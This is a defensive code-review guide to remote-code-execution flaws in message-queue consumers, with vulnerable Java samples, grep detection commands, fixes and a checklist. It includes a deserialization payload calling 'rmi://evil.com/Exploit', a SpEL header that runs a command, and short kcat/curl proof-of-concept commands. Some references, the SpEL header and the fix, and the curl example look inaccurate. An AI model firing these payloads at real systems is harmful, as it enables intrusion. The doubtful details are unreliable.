# Message Queue / Async Pipeline Security Detection Module

> Kafka, RabbitMQ, asynchronous message processing, deserialization, delayed queue RCE

## Overview (High Priority)

Message queues serve as asynchronous communication middleware. Consumer-side code often carries deserialization, SpEL injection, and other RCE risks.

---

## Attack Chain Model

```
User Input -> MQ Producer -> Message Storage -> Consumer Deserialization/Expression Execution -> RCE
```

---

## Detection Categories

### 1. Consumer Deserialization RCE

```java
// ❌ Critical: Kafka Consumer deserializing untrusted messages
@KafkaListener(topics = "orders")
public void handleOrder(byte[] message) {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(message));
    Order order = (Order) ois.readObject();  // Deserialization RCE!
    processOrder(order);
}

// ❌ RabbitMQ with SimpleMessageConverter
@RabbitListener(queues = "tasks")
public void handleTask(Object task) {  // Default Java deserialization
    // task may contain gadget chain
}
```

**Detection**:
```bash
grep -rn "@KafkaListener\|@RabbitListener" --include="*.java" -A 10 | \
  grep "ObjectInputStream\|readObject"

grep -rn "SimpleMessageConverter" --include="*.java"
```

**Secure Fix**:
```java
// ✅ Use JSON/Protobuf instead of Java serialization
@KafkaListener(topics = "orders")
public void handleOrder(String jsonMessage) {  // JSON String
    Order order = objectMapper.readValue(jsonMessage, Order.class);
    processOrder(order);
}

// ✅ RabbitMQ using Jackson2JsonMessageConverter
@Bean
public MessageConverter jsonMessageConverter() {
    return new Jackson2JsonMessageConverter();
}
```

### 2. Jackson Polymorphic Typing RCE

```java
// ❌ Critical: Jackson enableDefaultTyping
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();  // Enables polymorphic typing, dangerous!

// Message: {"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com/Exploit","autoCommit":true}

@KafkaListener(topics = "events")
public void handle(String json) {
    Event event = mapper.readValue(json, Event.class);  // RCE via polymorphic typing
}
```

**Detection**:
```bash
grep -rn "enableDefaultTyping\|activateDefaultTyping" --include="*.java"
grep -rn "@JsonTypeInfo.*use.*Id\.CLASS" --include="*.java"
```

**Secure Fix**:
```java
// ✅ Disable default typing, use @JsonSubTypes whitelist
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes({
    @JsonSubTypes.Type(value = OrderEvent.class, name = "order"),
    @JsonSubTypes.Type(value = PaymentEvent.class, name = "payment")
})
public abstract class Event {}

// ✅ Or use PolymorphicTypeValidator (Jackson 2.10+)
ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(
        BasicPolymorphicTypeValidator.builder()
            .allowIfBaseType(Event.class)
            .build(),
        ObjectMapper.DefaultTyping.NON_FINAL
    )
    .build();
```

### 3. Spring Cloud Stream Auto-Binding RCE

```java
// ❌ High: Spring Cloud Stream + SpEL header
// application.yml
spring:
  cloud:
    stream:
      bindings:
        input:
          destination: orders

// Message Header: spring.cloud.function.definition=T(java.lang.Runtime).getRuntime().exec('calc')

@StreamListener("input")
public void handle(Message<Order> message) {
    // Spring automatically processes SpEL expressions in headers -> RCE
}
```

**Detection**:
```bash
grep -rn "spring.cloud.stream" application.yml
grep -rn "@StreamListener\|@ServiceActivator" --include="*.java"
```

**Secure Fix**:
```yaml
# ✅ Disable SpEL header processing
spring:
  cloud:
    stream:
      bindings:
        input:
          consumer:
            use-native-decoding: true  # Disable auto-parsing
```

### 4. Delayed Queue Command Injection

```java
// ❌ High: Delayed queue executing user-controlled commands
@Scheduled(fixedDelay = 5000)
public void processDelayedTasks() {
    List<DelayedTask> tasks = taskRepo.findDue();
    for (DelayedTask task : tasks) {
        String command = task.getCommand();  // Specified when user created the task
        Runtime.getRuntime().exec(command);  // Command injection!
    }
}
```

**Detection**:
```bash
grep -rn "DelayedQueue\|@Scheduled" --include="*.java" -A 15 | \
  grep "exec\|ProcessBuilder"
```

**Secure Fix**:
```java
// ✅ Whitelist task types
enum TaskType {
    SEND_EMAIL, GENERATE_REPORT, CLEANUP_FILES
}

public void processTask(DelayedTask task) {
    switch (task.getType()) {
        case SEND_EMAIL:
            emailService.send(task.getRecipient(), task.getBody());
            break;
        case GENERATE_REPORT:
            reportService.generate(task.getReportId());
            break;
        default:
            throw new IllegalArgumentException("Unknown task type");
    }
}
```

---

## Comprehensive Detection Checklist

### Critical
- [ ] MQ Consumer using Java deserialization
- [ ] Jackson enableDefaultTyping + message queue
- [ ] Delayed queue executing user-controlled commands/scripts

### High
- [ ] Spring Cloud Stream auto-binding SpEL headers
- [ ] RabbitMQ SimpleMessageConverter
- [ ] Message body contains expression languages (SpEL/OGNL)

### Medium
- [ ] Insufficient message validation (missing signature/HMAC)
- [ ] Improper consumer exception handling leading to message loss

---

## Minimal PoC Examples
```bash
# Kafka send malicious JSON polymorphic
kcat -b broker:9092 -t topic -P <<'EOF'
{"@class":"com.evil.Evil","cmd":"calc"}
EOF

# RabbitMQ delayed queue command injection (Spring)
curl -X POST http://app/send -H "Content-Type: application/json" \
  -d '{"msg":"ls","delay":"java.lang.Runtime"}'
```

---

## False Positives

- ✅ Message queue only used for internal service communication with trusted producers (requires proof)
- ✅ Using JSON/Protobuf + explicit type mapping
- ✅ Message signature verification + Content-Type enforcement

---

## References

- CVE-2017-8046: Spring Data REST SpEL RCE
- CVE-2020-36518: Jackson Polymorphic Typing
- OWASP: Deserialization Cheat Sheet
- Kafka Security Best Practices
